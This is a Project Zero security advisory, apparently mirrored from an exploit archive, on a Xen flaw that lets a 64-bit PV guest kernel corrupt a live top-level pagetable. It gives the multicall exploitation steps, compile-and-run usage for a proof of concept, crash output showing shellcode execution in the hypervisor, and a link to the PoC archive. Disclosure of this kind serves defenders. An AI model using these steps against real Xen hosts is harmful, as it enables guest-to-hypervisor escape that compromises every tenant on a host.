Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1231 This is a bug in Xen that permits an attacker with control over the kernel of a 64bit X86 PV guest to write arbitrary entries into a live top-level pagetable. To prevent PV guests from doing things like mapping live pagetables as writable, Xen assigns types to physical pages and tracks type-specific references with a reference counter ("type count", stored in the low bits of page->u.inuse.type_info). 64-bit PV guests have multiple places in which the addresses of top-level pagetables are stored: arch.guest_table_user and arch.guest_table in the vcpu struct point to the pagetables the guest has designated as user-mode top-level pagetable and kernel-mode top-level pagetable. Both of these fields take a type-specific reference on the pagetable to prevent the guest from mapping it as writable. arch.cr3 in the vcpu struct points to the current top-level pagetable of the vCPU. While the vCPU is scheduled, arch.cr3 is the same as the physical CPU's CR3. arch.cr3 does not take an extra type-specific reference; it borrows the reference from either arch.guest_table_user or arch.guest_table. This means that whenever the field from which the reference is borrowed is updated, arch.cr3 (together with the physical CR3) must be updated as well. The guest can update arch.guest_table_user and arch.guest_table using __HYPERVISOR_mmuext_op with commands MMUEXT_NEW_USER_BASEPTR (for arch.guest_table_user) and MMUEXT_NEW_BASEPTR (for arch.guest_table). The handlers for these commands assume that when the hypercall is executed, arch.cr3 always equals arch.guest_table: The MMUEXT_NEW_BASEPTR handler updates arch.cr3 to the new arch.guest_table, the MMUEXT_NEW_USER_BASEPTR handler doesn't touch arch.cr3. Hypercalls can only be executed from kernel context, so on hypercall entry, arch.cr3==arch.guest_table is indeed true. However, using the __HYPERVISOR_multicall hypercall, it is possible to execute the __HYPERVISOR_iret hypercall, which can switch the pagetables to user context, immediately followed by the __HYPERVISOR_mmuext_op hypercall before actually entering guest user context. This can be exploited from guest kernel context roughly as follows: - copy all entries from the top-level kernel pagetable over the top-level user pagetable (to make it possible for a post-iret hypercall to access guest kernel memory) - allocate a new page to be used later as top-level user pagetable, copy the contents of the current top-level user pagetable into it, remap it as readonly and pin it as a top-level pagetable - perform the following operations in a single multicall: - switch to user context using __HYPERVISOR_iret - change arch.guest_table_user to the new top-level user pagetable using __HYPERVISOR_mmuext_op with command MMUEXT_NEW_USER_BASEPTR - unpin the old top-level user pagetable - map the old top-level user pagetable as writable - write crafted entries into the old top-level user pagetable I have attached a proof of concept that corrupts the top-level pagetable entry that maps the hypervisor text, causing a host triplefault. I have tested the proof of concept in the following configurations: configuration 1: running inside VMware Workstation Xen version "Xen version 4.6.0 (Ubuntu 4.6.0-1ubuntu4.3)" dom0: Ubuntu 16.04.2, Linux 4.8.0-41-generic #44~16.04.1-Ubuntu unprivileged guest: Ubuntu 16.04.2, Linux 4.4.0-66-generic #87-Ubuntu configuration 2: running on a physical machine with Qubes OS 3.2 installed Xen version 4.6.4 Compile the PoC with ./compile.sh, then run ./attack as root. PoC Filename: xen_ptuaf.tar ################################################################################ Here's an exploit that causes the hypervisor to execute shellcode that then deliberately causes a hypervisor GPF by calling a noncanonical address. Usage: root@pv-guest:~/xen_ptuaf_hv_shellcode_exec# ./compile.sh make: Entering directory '/usr/src/linux-headers-4.4.0-66-generic' LD /root/xen_ptuaf_hv_shellcode_exec/built-in.o CC [M] /root/xen_ptuaf_hv_shellcode_exec/module.o nasm -f elf64 -o /root/xen_ptuaf_hv_shellcode_exec/native.o /root/xen_ptuaf_hv_shellcode_exec/native.asm LD [M] /root/xen_ptuaf_hv_shellcode_exec/test.o Building modules, stage 2. MODPOST 1 modules WARNING: could not find /root/xen_ptuaf_hv_shellcode_exec/.native.o.cmd for /root/xen_ptuaf_hv_shellcode_exec/native.o CC /root/xen_ptuaf_hv_shellcode_exec/test.mod.o LD [M] /root/xen_ptuaf_hv_shellcode_exec/test.ko make: Leaving directory '/usr/src/linux-headers-4.4.0-66-generic' root@pv-guest:~/xen_ptuaf_hv_shellcode_exec# ./attack kernel CR3: 0xaa2dd000 L1 self-mapping is up, should have reliable pagetable control now virt_to_pte(0x7f5bd439a000) [ rest of output missing because of VM crash ] Serial output: (XEN) ----[ Xen-4.6.0 x86_64 debug=n Tainted: C ]---- (XEN) CPU: 2 (XEN) RIP: e008:[<00007f5bd439a03f>] 00007f5bd439a03f (XEN) RFLAGS: 0000000000010246 CONTEXT: hypervisor (d1v2) (XEN) rax: 1337133713371337 rbx: 1337133713371337 rcx: 1337133713371337 (XEN) rdx: 1337133713371337 rsi: 00007ffe98b5e248 rdi: 0000600000003850 (XEN) rbp: 1337133713371337 rsp: ffff8301abb37f30 r8: 0000000000000000 (XEN) r9: 000000000000001b r10: 0000000000000000 r11: 0000000000000202 (XEN) r12: 0000000080000000 r13: ffff8800026dd000 r14: ffff880003453c88 (XEN) r15: 0000000000000007 cr0: 0000000080050033 cr4: 00000000001506a0 (XEN) cr3: 00000000aa2dc000 cr2: ffff88007cfb2e98 (XEN) ds: 0000 es: 0000 fs: 0000 gs: 0000 ss: 0000 cs: e008 (XEN) Xen stack trace from rsp=ffff8301abb37f30: (XEN) 1337133713371337 1337133713371337 1337133713371337 1337133713371337 (XEN) 1337133713371337 1337133713371337 1337133713371337 1337133713371337 (XEN) 1337133713371337 1337133713371337 1337133713371337 1337133713371337 (XEN) 1337133713371337 0000000000401556 000000000000e033 0000000000000246 (XEN) 00007ffe98b5e208 000000000000e02b 0000000000000000 0000000000000000 (XEN) 0000000000000000 0000000000000000 0000000000000002 ffff830088c9c000 (XEN) 000000312b835580 0000000000000000 (XEN) Xen call trace: (XEN) [<00007f5bd439a03f>] 00007f5bd439a03f (XEN) (XEN) (XEN) **************************************** (XEN) Panic on CPU 2: (XEN) GENERAL PROTECTION FAULT (XEN) [error_code=0000] (XEN) **************************************** (XEN) (XEN) Reboot in five seconds... PoC Filename: xen_ptuaf_hv_shellcode_exec.tar Proofs of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41973.zip